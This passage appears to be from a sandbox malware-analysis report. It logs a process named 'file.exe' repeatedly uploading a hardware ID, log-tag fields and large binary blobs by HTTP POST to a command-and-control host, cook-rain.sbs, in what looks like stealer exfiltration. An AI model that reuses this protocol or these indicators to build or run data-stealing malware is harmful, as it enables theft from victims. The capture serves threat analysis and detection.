2024-11-18 16:23:11 UTC	1006	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:23:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=30l9esgj8v7u8mbotq71j18d7l; expires=Fri, 14-Mar-2025 10:09:50 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4hN2ecz49gSgTjdXck%2BXvvbvsDTOv%2Fm88x3FQEs%2BA0OZ3d3EeJndKyJuqLT1kCd9pY81RgBqiTcRXCBX8rBjqWl24aoEQgt2Cn8nkSGGIkLqQwf2MffuUDLpduwLeTd5"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e494db4cac5e769-DEN alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=18801&sent=19&recv=24&lost=0&retrans=0&sent_bytes=2830&recv_bytes=19114&delivery_rate=153536&cwnd=32&unsent_bytes=0&cid=d474ee482e3f827d&ts=869&x=0"
2024-11-18 16:23:11 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 37 0d 0a Data Ascii: 11ok 155.94.241.187
2024-11-18 16:23:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49733	188.114.96.3	443	7480	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:23:12 UTC	272	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=EZIQ23KGF9YC User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8754 Host: cook-rain.sbs
2024-11-18 16:23:12 UTC	8754	OUT	Data Raw: 2d 2d 45 5a 49 51 32 33 4b 47 46 39 59 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 32 39 43 45 32 46 45 35 32 33 30 32 45 41 31 46 37 30 30 35 44 37 42 32 30 31 32 37 41 38 38 0d 0a 2d 2d 45 5a 49 51 32 33 4b 47 46 39 59 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 45 5a 49 51 32 33 4b 47 46 39 59 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 45 5a 49 51 32 33 4b 47 Data Ascii: --EZIQ23KGF9YCContent-Disposition: form-data; name="hwid"C29CE2FE52302EA1F7005D7B20127A88--EZIQ23KGF9YCContent-Disposition: form-data; name="pid"2--EZIQ23KGF9YCContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--EZIQ23KG
2024-11-18 16:23:13 UTC	1007	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:23:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=0mi7i9n3odfg7f16to2ojufv3q; expires=Fri, 14-Mar-2025 10:09:51 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Uxih3BlQBiOooEE%2FPfe2hBgC137OxI62Vd164TuUyUQwXsUAY%2B1cirrNpZIw7sVQQqcHCjbqFVibOqdY0PaYHaffIUzEq1MTowYG%2Fh6LUzh%2B6upMzwMgDs2b0MdFQoqB"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e494dbeed910bc4-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1573&sent=9&recv=16&lost=0&retrans=0&sent_bytes=2830&recv_bytes=9684&delivery_rate=1644520&cwnd=251&unsent_bytes=0&cid=732f843e7775b06c&ts=803&x=0"
2024-11-18 16:23:13 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 37 0d 0a Data Ascii: 11ok 155.94.241.187
2024-11-18 16:23:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49734	188.114.96.3	443	7480	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:23:14 UTC	276	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=690TWC74U3763LQ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20425 Host: cook-rain.sbs
2024-11-18 16:23:14 UTC	15331	OUT	Data Raw: 2d 2d 36 39 30 54 57 43 37 34 55 33 37 36 33 4c 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 32 39 43 45 32 46 45 35 32 33 30 32 45 41 31 46 37 30 30 35 44 37 42 32 30 31 32 37 41 38 38 0d 0a 2d 2d 36 39 30 54 57 43 37 34 55 33 37 36 33 4c 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 36 39 30 54 57 43 37 34 55 33 37 36 33 4c 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d Data Ascii: --690TWC74U3763LQContent-Disposition: form-data; name="hwid"C29CE2FE52302EA1F7005D7B20127A88--690TWC74U3763LQContent-Disposition: form-data; name="pid"3--690TWC74U3763LQContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic-
2024-11-18 16:23:14 UTC	5094	OUT	Data Raw: 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 00 00 00 00 00 00 00 Data Ascii: M?lrQMn 64F6(X&7~`aO
2024-11-18 16:23:15 UTC	1010	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:23:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=18gebqsl3lt2tv3ppc0a9cg0ds; expires=Fri, 14-Mar-2025 10:09:54 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0fmMarLTHcm1XOUiQt3mqsnDq8Li6ZxoUFD9RPnkBp0QswMOuEcCoa1YCacomh7K%2B7zp2tR%2BAVomP1%2BIArXfLGaFDeBwFJJxV3qaXv%2FauAMcUlMygsaVnbME4pFPuIpV"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e494dce2bdee779-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1325&sent=13&recv=27&lost=0&retrans=0&sent_bytes=2829&recv_bytes=21381&delivery_rate=2127847&cwnd=249&unsent_bytes=0&cid=27a636263d159cc5&ts=1063&x=0"
2024-11-18 16:23:15 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 37 0d 0a Data Ascii: 11ok 155.94.241.187
2024-11-18 16:23:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49735	188.114.96.3	443	7480	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:23:16 UTC	277	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=8UKVBGF71WD6QCXCO User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1266 Host: cook-rain.sbs
2024-11-18 16:23:16 UTC	1266	OUT	Data Raw: 2d 2d 38 55 4b 56 42 47 46 37 31 57 44 36 51 43 58 43 4f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 32 39 43 45 32 46 45 35 32 33 30 32 45 41 31 46 37 30 30 35 44 37 42 32 30 31 32 37 41 38 38 0d 0a 2d 2d 38 55 4b 56 42 47 46 37 31 57 44 36 51 43 58 43 4f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 38 55 4b 56 42 47 46 37 31 57 44 36 51 43 58 43 4f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 Data Ascii: --8UKVBGF71WD6QCXCOContent-Disposition: form-data; name="hwid"C29CE2FE52302EA1F7005D7B20127A88--8UKVBGF71WD6QCXCOContent-Disposition: form-data; name="pid"1--8UKVBGF71WD6QCXCOContent-Disposition: form-data; name="lid"LOGS11--LiveTraf
2024-11-18 16:23:18 UTC	1011	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:23:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=vkjsksjb4ch1ftlbb6l3lkmo5o; expires=Fri, 14-Mar-2025 10:09:56 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Z7xyoEPVnw4zB%2Fgyu%2F0sAPvyIrcTlEiCDp6hQr0Q8GlKQeIr7pAl8XbOSNCFW79Jy5PvA%2Bjx2qFBu5qhKeDkHpqnRvJsr0nav7WfUOKh%2B1apU%2FXi%2BjPfoP8%2FD4xp2Drz"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e494ddafe6ce771-DEN alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=18897&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2830&recv_bytes=2179&delivery_rate=152573&cwnd=32&unsent_bytes=0&cid=12eca549ecd06500&ts=774&x=0"
2024-11-18 16:23:18 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 37 0d 0a Data Ascii: 11ok 155.94.241.187
2024-11-18 16:23:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49736	188.114.96.3	443	7480	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:23:19 UTC	277	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=9X02F2L7AIDPHTZ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 570026 Host: cook-rain.sbs
2024-11-18 16:23:19 UTC	15331	OUT	Data Raw: 2d 2d 39 58 30 32 46 32 4c 37 41 49 44 50 48 54 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 32 39 43 45 32 46 45 35 32 33 30 32 45 41 31 46 37 30 30 35 44 37 42 32 30 31 32 37 41 38 38 0d 0a 2d 2d 39 58 30 32 46 32 4c 37 41 49 44 50 48 54 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 39 58 30 32 46 32 4c 37 41 49 44 50 48 54 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d Data Ascii: --9X02F2L7AIDPHTZContent-Disposition: form-data; name="hwid"C29CE2FE52302EA1F7005D7B20127A88--9X02F2L7AIDPHTZContent-Disposition: form-data; name="pid"1--9X02F2L7AIDPHTZContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic-
2024-11-18 16:23:19 UTC	15331	OUT	Data Raw: ea c8 8d df 9c 4d 2c 04 f2 fc a0 d4 71 f4 f6 a9 f2 92 b3 07 31 cf 33 cc 1d 81 bf 04 dd e0 7d 7c 7e dc 0f 39 8c 0f b8 39 a4 33 01 28 4c a9 cf fa 96 a8 d0 e5 6b 33 bd 10 11 c9 e7 8d 8c 62 c1 e5 06 32 24 77 03 bd a4 ae 34 79 9e d4 43 00 47 36 b2 05 6b 44 93 23 1c 94 2b c3 03 12 8c ef 94 46 de 36 1c 74 86 ec 94 e6 b2 db 6c 72 d1 e3 ee 42 4f 63 37 da a1 a8 16 a6 1c f7 8a e8 df a7 1b 07 83 60 4f d8 dd 73 e6 60 7a 6d 69 7d 38 1f 5a 47 c2 3c 24 cd b6 e3 62 14 c7 ed ed 14 7a c4 aa 92 9f 5d b1 69 8e f8 12 f0 4d c4 69 84 32 b1 fe f1 06 fa 90 de f3 53 f1 26 b1 db 77 05 49 2d ba 82 1a 7f 35 f5 32 a4 5d df 37 7e c0 ae cb f0 9b ba dc c4 87 c8 3d 5f a4 47 f8 0e 44 7b c4 12 2f 9b 67 15 82 02 33 7e 93 c0 0b 1c f2 bc e0 61 bb a6 e5 8e 1a e1 1c 85 e9 63 7c c3 bf 5d 65 12 f9 Data Ascii: M,q13}\|~993(Lk3b2$w4yCG6kD#+F6tlrBOc7`Os`zmi}8ZG<$bz]iMi2S&wI-52]7~=_GD{/g3~ac\|]e
2024-11-18 16:23:19 UTC	15331	OUT	Data Raw: 48 ad bf a3 98 e5 fd 2c a7 55 dd 76 24 b6 bb 3b 5d ad 9b c6 9d 16 b2 dd f5 ac 7a 5a a0 d3 49 ed 7a 35 dd ea b4 65 7f b0 97 71 ba 41 9e 50 cd 7d f4 ed 4a 43 c9 7c d5 dd ae bc 6f 8f 18 d3 a2 31 a5 28 d7 64 b5 a7 f6 b3 7e f3 44 4f 36 04 1d 04 fa 34 5d 19 f7 f8 36 9b 94 e3 18 5f cb 0e 2e 26 a8 a4 21 c8 69 fb c5 4c cb 7b 68 be b2 31 4f 04 f3 16 53 27 1e d0 93 75 c7 4e 4e ec d2 42 c3 68 42 88 7e 1b a6 bc 89 9c fd 41 87 f0 6e f3 2a 43 df 3d 4d 8c 17 f5 8e a7 ff 50 34 bc 42 7b 54 ce 5e 1e ec b6 09 91 23 49 1d 20 b8 99 f8 50 e4 e5 64 43 a2 96 de 9a 9e 90 0e d5 b1 6b d5 c5 f3 9f 94 df eb b1 9d a3 d8 da cc 3b ae 27 d9 7e 8f 4e e6 bb a7 68 3e 41 1c 2f 44 a2 21 be 6d ca 89 70 3e 81 55 b9 ae 05 81 dd 35 52 87 5f 72 ca 1f 46 91 a4 50 02 fb fa 9b 88 82 e5 98 db 51 53 a8 Data Ascii: H,Uv$;]zZIz5eqAP}JC\|o1(d~DO64]6_.&!iL{h1OS'uNNBhB~An*C=MP4B{T^#I PdCk;'~Nh>A/D!mp>U5R_rFPQS
2024-11-18 16:23:19 UTC	15331	OUT	Data Raw: 83 5e 70 76 74 68 db e9 8d ed b4 43 67 d6 e2 cc de 5a 9f dd 83 60 5e f3 11 bd 20 a6 00 92 6d 9d e7 f2 4c 91 a6 3f 01 bd 87 40 7d 07 28 ad 6b 33 16 8c 6b 2c f7 bd 80 b2 1d c7 1d d4 74 ab ef 22 98 66 c1 4d 1a 99 00 52 b5 6b 4f 7e 24 d0 bb f7 35 93 89 08 96 bd fa bf 83 a8 62 c8 52 11 94 49 2c 34 b9 e5 5d 09 50 92 89 de 83 84 fa 32 30 86 dd 80 5e c8 fb 80 06 06 3b c0 ad 48 12 06 4a 3a 37 98 0d 6f bb 56 4d 4d 5c 31 b0 ef 90 59 fc cc c8 8e 85 30 ab 71 55 da fb 20 6d 6e 9b 25 a1 65 0d 35 0d 7f 3b a8 14 9d ab 4b 17 5e 2d 01 ad c6 e8 43 91 83 91 0a e8 77 0c 1d 21 80 58 04 82 2d aa 8b b6 54 f4 59 d7 43 e4 82 43 a9 14 7b af f5 2e 05 9a e2 da a9 15 b5 73 7d 51 e9 2b 72 1b 5c 20 10 a5 c5 cf 91 17 2e 5d 00 13 c8 c4 72 9e f4 08 82 eb c1 56 6b 71 92 af d3 f0 02 52 fc 97 Data Ascii: ^pvthCgZ`^ mL?@}(k3k,t"fMRkO~$5bRI,4]P20^;HJ:7oVMM\1Y0qU mn%e5;K^-Cw!X-TYCC{.s}Q+r\ .]rVkqR
2024-11-18 16:23:19 UTC	15331	OUT	Data Raw: 61 70 8e d8 9c ad 2d a4 07 91 de ea b6 38 b0 7b fd 7b 99 8e 52 e4 fb 4f 1a 68 30 28 12 33 c5 b4 a6 05 a9 12 55 a2 12 97 2f 09 c7 57 20 64 96 27 4c c9 b3 b2 5a 0f 67 1b 0d dc 2d cd be 3d 88 b8 de 99 56 98 7b 32 e6 87 47 c1 f6 5e cf 69 87 dc ca 1b 4c 1c 3d 48 e4 0c 70 dc 86 95 1c cb 7a 10 4a 17 77 cc ad 3a 0d 7f 6e 95 18 63 93 d4 58 b5 62 79 dd a1 2a 34 14 73 e3 0c ee 3f 8b ea 8f bc 0c 72 12 d2 4b 72 30 48 75 fc 62 a5 83 2b 64 bc c0 2c e5 3d d0 c7 98 d8 78 e4 cc 59 c1 7f df a0 2b 8d 7d 71 c8 de 8b 27 d9 3a 31 4d 9a 52 fd e5 5d 64 20 e4 53 4f 6f 41 fe 92 65 d5 cd 6e 9b a9 16 59 c5 2d 49 23 af 9a e7 58 9a 4f 71 db 66 b5 23 45 77 c5 5e 30 2e 4a d9 4c 4c 9c bd d9 7d cd 0a 4e 4d 03 bf 92 f2 92 2a 65 17 63 a1 ac a0 39 27 f8 b3 ad da 32 7f 08 7b 5b 10 2d 3c c5 80 Data Ascii: ap-8{{ROh0(3U/W d'LZg-=V{2G^iL=HpzJw:ncXby4s?rKr0Hub+d,=xY+}q':1MR]d SOoAenY-I#XOqf#Ew^0.JLL}NMec9'2{[-<
2024-11-18 16:23:19 UTC	15331	OUT	Data Raw: 15 eb 38 f4 f2 93 36 9b 70 95 34 6a a7 52 8e f8 45 4d 2e 0e 22 4d 71 87 75 55 33 a2 03 6b 0c c3 1a 7e 21 0b e4 a7 02 5d f4 c7 fe a8 9f dc a3 dd 56 74 fe 6b 6e da 4a e1 82 38 01 fc 72 68 ad 45 43 9c 00 a7 f8 8c 2c 45 e9 a0 64 97 32 94 f6 38 d0 db d9 a5 49 a0 69 71 b2 bb 08 8f 7f 5b 8d f4 7d 45 52 05 bf 21 a5 cd 08 58 ea b4 b5 f0 dc 3c 1d 9c a2 02 1b 5a 21 30 f2 9d 68 41 34 ab 93 2a 5b 7a 1b 20 4d 01 2d db 41 14 60 2f 15 64 f3 d6 b5 13 09 40 76 b3 92 f7 48 8d 02 ae d7 7b df a9 a0 2f b3 fd 58 1c 48 79 14 1e d2 f4 28 fc 12 60 66 ed 06 0f 65 99 da 45 b2 ff 73 9a ca 20 03 90 9f e4 19 27 2d e8 62 0a a8 07 9e 9c 0f d5 79 a6 94 73 79 eb 19 9d c2 6f 52 65 ba d7 68 a1 fa f6 8d 22 ac f7 91 30 7e f6 f5 ff cc 05 31 70 67 e9 9f 00 06 32 a2 ff 2b c8 6c c1 d5 f0 df 21 68 Data Ascii: 86p4jREM."MquU3k~!]VtknJ8rhEC,Ed28Iiq[}ER!X<Z!0hA4*[z M-A`/d@vH{/XHy(`feEs '-bysyoReh"0~1pg2+l!h
2024-11-18 16:23:19 UTC	15331	OUT	Data Raw: dc 89 7b 6a 9f ff 67 a1 45 65 d0 70 c4 e2 cd fe 41 88 51 08 90 e6 c5 81 e8 ae 8c 41 0b 0c 5c 59 0c 90 60 f0 d6 47 10 8b 81 43 6b ab b5 00 8e de 15 a9 c8 14 ba da 0f 6c 33 5d ac 2b 01 e9 51 34 5c a1 8c 8e be 3c 29 c5 3e a0 75 db 20 e7 eb 4f bc 0f 36 66 14 eb 7e b4 30 7a 73 8f d5 3d 3e 2b 40 f6 3c 4b 16 1e 17 5f ff 7c 1e f6 72 f3 de 48 dd 48 55 4b cc 37 31 46 aa bc 72 c2 a4 74 ea ca ea 21 b2 8b b5 20 90 e3 bf 2e 30 ad c6 54 c3 47 9d a7 78 a9 17 a3 72 d5 6d 87 94 d3 c2 55 11 4b 80 95 ee 38 b0 45 07 1d 0e a8 20 a4 bb cb bf 45 7c 69 63 df 6a 22 dc 5a 81 c4 b6 39 74 3c ad ad f5 cf 83 73 d4 28 ea d1 96 6e e5 7b 33 6f ea c4 28 84 0a 5c 89 06 e6 67 ad 98 17 66 25 df 7c 37 07 66 e0 1c d9 f9 6f 4f a4 72 28 47 cd 4f fb 61 f7 ec 3f e8 57 e6 cf e6 e3 1f 01 e3 de 58 1a Data Ascii: {jgEepAQA\Y`GCkl3]+Q4\<)>u O6f~0zs=>+@<K_\|rHHUK71Frt! .0TGxrmUK8E E\|icj"Z9t<s(n{3o(\gf%\|7foOr(GOa?WX
2024-11-18 16:23:19 UTC	15331	OUT	Data Raw: 2c 98 55 a2 06 26 6a 29 4d 27 e9 ca e7 d5 ca 30 8c cc cd f4 07 28 6b e9 5c c9 f1 e6 a0 d5 73 b9 ed a7 08 ff 74 6c 7c 6a 21 04 63 aa 27 e1 11 a2 2a 4b 08 b4 3a 27 f1 5a 7e 24 04 ba ef e0 35 6f 4b f7 9e e7 a6 b3 ec bc e1 9f 72 1f 9a 88 6e d1 e8 9b 33 42 48 8b b1 a5 04 af 9e db a3 0c 29 3f 6c 64 84 67 ec b5 9e 52 16 36 93 d8 58 0a c7 30 8c 3e a5 82 34 5a 8a a6 89 df ea 63 07 fb 4e c9 b5 73 a0 10 74 d7 43 ad 4a d0 f5 90 bb ca cc ac 64 de 4f 57 af d6 ea 63 8f 1c 90 b8 a3 20 2d c5 9f 8c 61 1c 6e f1 f5 e6 77 7f b3 ca 68 5f ef 36 2b 8c 10 14 d0 00 95 1d 47 31 7f 5c 15 ac 46 5e 64 78 92 a5 04 e5 c2 0d 43 c5 4d ee af ef d1 85 80 03 3a ec e3 71 ca 91 ab 0f 22 1e 60 71 e9 59 ae c7 c2 42 53 3a f4 e8 99 81 df ff ca ee de 08 fc 5b ef 98 d3 99 bf 19 07 f6 0f 39 37 67 ad Data Ascii: ,U&j)M'0(k\stl\|j!c'*K:'Z~$5oKrn3BH)?ldgR6X0>4ZcNstCJdOWc -anwh_6+G1\F^dxCM:q"`qYBS:[97g
2024-11-18 16:23:19 UTC	15331	OUT	Data Raw: 62 1a 29 f5 0f f7 44 3c 92 89 65 61 12 7d e7 54 64 8e 25 39 9a 29 97 08 62 be e0 8b b5 ed 3b ef 9c 63 5a 7c 41 8a 68 12 bc 47 5d 5d 93 22 15 a0 3d 63 93 ae d4 9c 19 cc f9 d2 eb 3e bb f1 e9 5c f4 80 50 71 84 04 f1 4a 38 6e 54 ff ff f5 23 c8 65 70 2f 28 d6 28 ba 19 51 f5 b8 14 19 05 3b 21 0a 86 f9 cd 8b 0e b4 67 07 e4 13 ea 21 d6 ca 39 68 ed f9 3b 9f a3 bf 09 41 1a b8 03 50 33 a9 ed e6 a8 fa 24 5e f3 67 4e 79 d8 d1 0c 31 83 eb ff 3e f0 0f fa e2 e2 bf 76 3b 74 28 83 9c 72 60 35 b7 0b d5 9c 77 a7 f7 e5 64 4b f0 98 f1 61 ad b0 86 fa 9d 13 af 96 20 d6 4d c3 10 0c 63 34 3c bc 05 94 ad 65 fd 90 06 33 d1 ff e7 38 0f e5 c5 82 45 3b 88 7a c3 14 66 e5 f1 79 61 c4 0e 41 fe 95 c4 11 5b 1d f0 3a 2a 19 1a c4 69 e7 2a 3f 60 88 a1 7a bf a6 22 55 21 ff d5 be 18 b3 78 66 d0 Data Ascii: b)D<ea}Td%9)b;cZ\|AhG]]"=c>\PqJ8nT#ep/((Q;!g!9h;AP3$^gNy1>v;t(r`5wdKa Mc4<e38E;zfyaA[:i?`z"U!xf
2024-11-18 16:23:19 UTC	15331	OUT	Data Raw: e8 7f e1 df fc e0 e7 ef 9e 0f 4f ac 03 81 b7 65 fc 77 bd 0b 5b 9f e8 83 a8 a1 20 23 75 90 61 21 dd 77 b7 57 ab cf 92 1a e6 e6 c7 7f 6c 29 ee ec 46 b1 df 2c ae 81 12 97 6c 40 4f 3b 9d 11 e6 86 84 7e f4 96 9d c9 82 f7 97 ce 3d 33 38 f1 ee 2b 5a f9 f2 8f 54 1d e9 3f 06 ff e6 1c cf 60 ce 5a f7 e5 7b 8b 9a b2 d4 77 f7 33 53 b3 23 c5 e3 a6 1f e9 ec e0 5b e7 74 71 8e 54 9e 09 ac 7c a6 0c 66 d4 d0 f1 f7 0e ac 65 27 39 ef ac 34 fa 69 4b 3e ee c4 ea f9 50 fc e9 12 d2 75 1d 78 be 19 9a ac 14 7f 28 0f 7a 3f 41 1e 68 be 8e d8 52 ea 9a 99 71 f6 6d 31 53 6f 85 92 39 ba a7 99 e3 5d 24 4d 8c f8 bc 70 d1 23 4b e8 57 9b 18 98 a2 f6 55 94 99 73 5f 99 3e 3c 73 be 08 9d 98 0f c8 7b ca 79 49 c4 2c 40 d0 23 55 41 a1 5e 36 73 09 3b 80 e3 90 d2 7a 82 8a 75 6b d2 7b 3f b5 45 40 d9 Data Ascii: Oew[ #ua!wWl)F,l@O;~=38+ZT?`Z{w3S#[tqT\|fe'94iK>Pux(z?AhRqm1So9]$Mp#KWUs_><s{yI,@#UA^6s;zuk{?E@
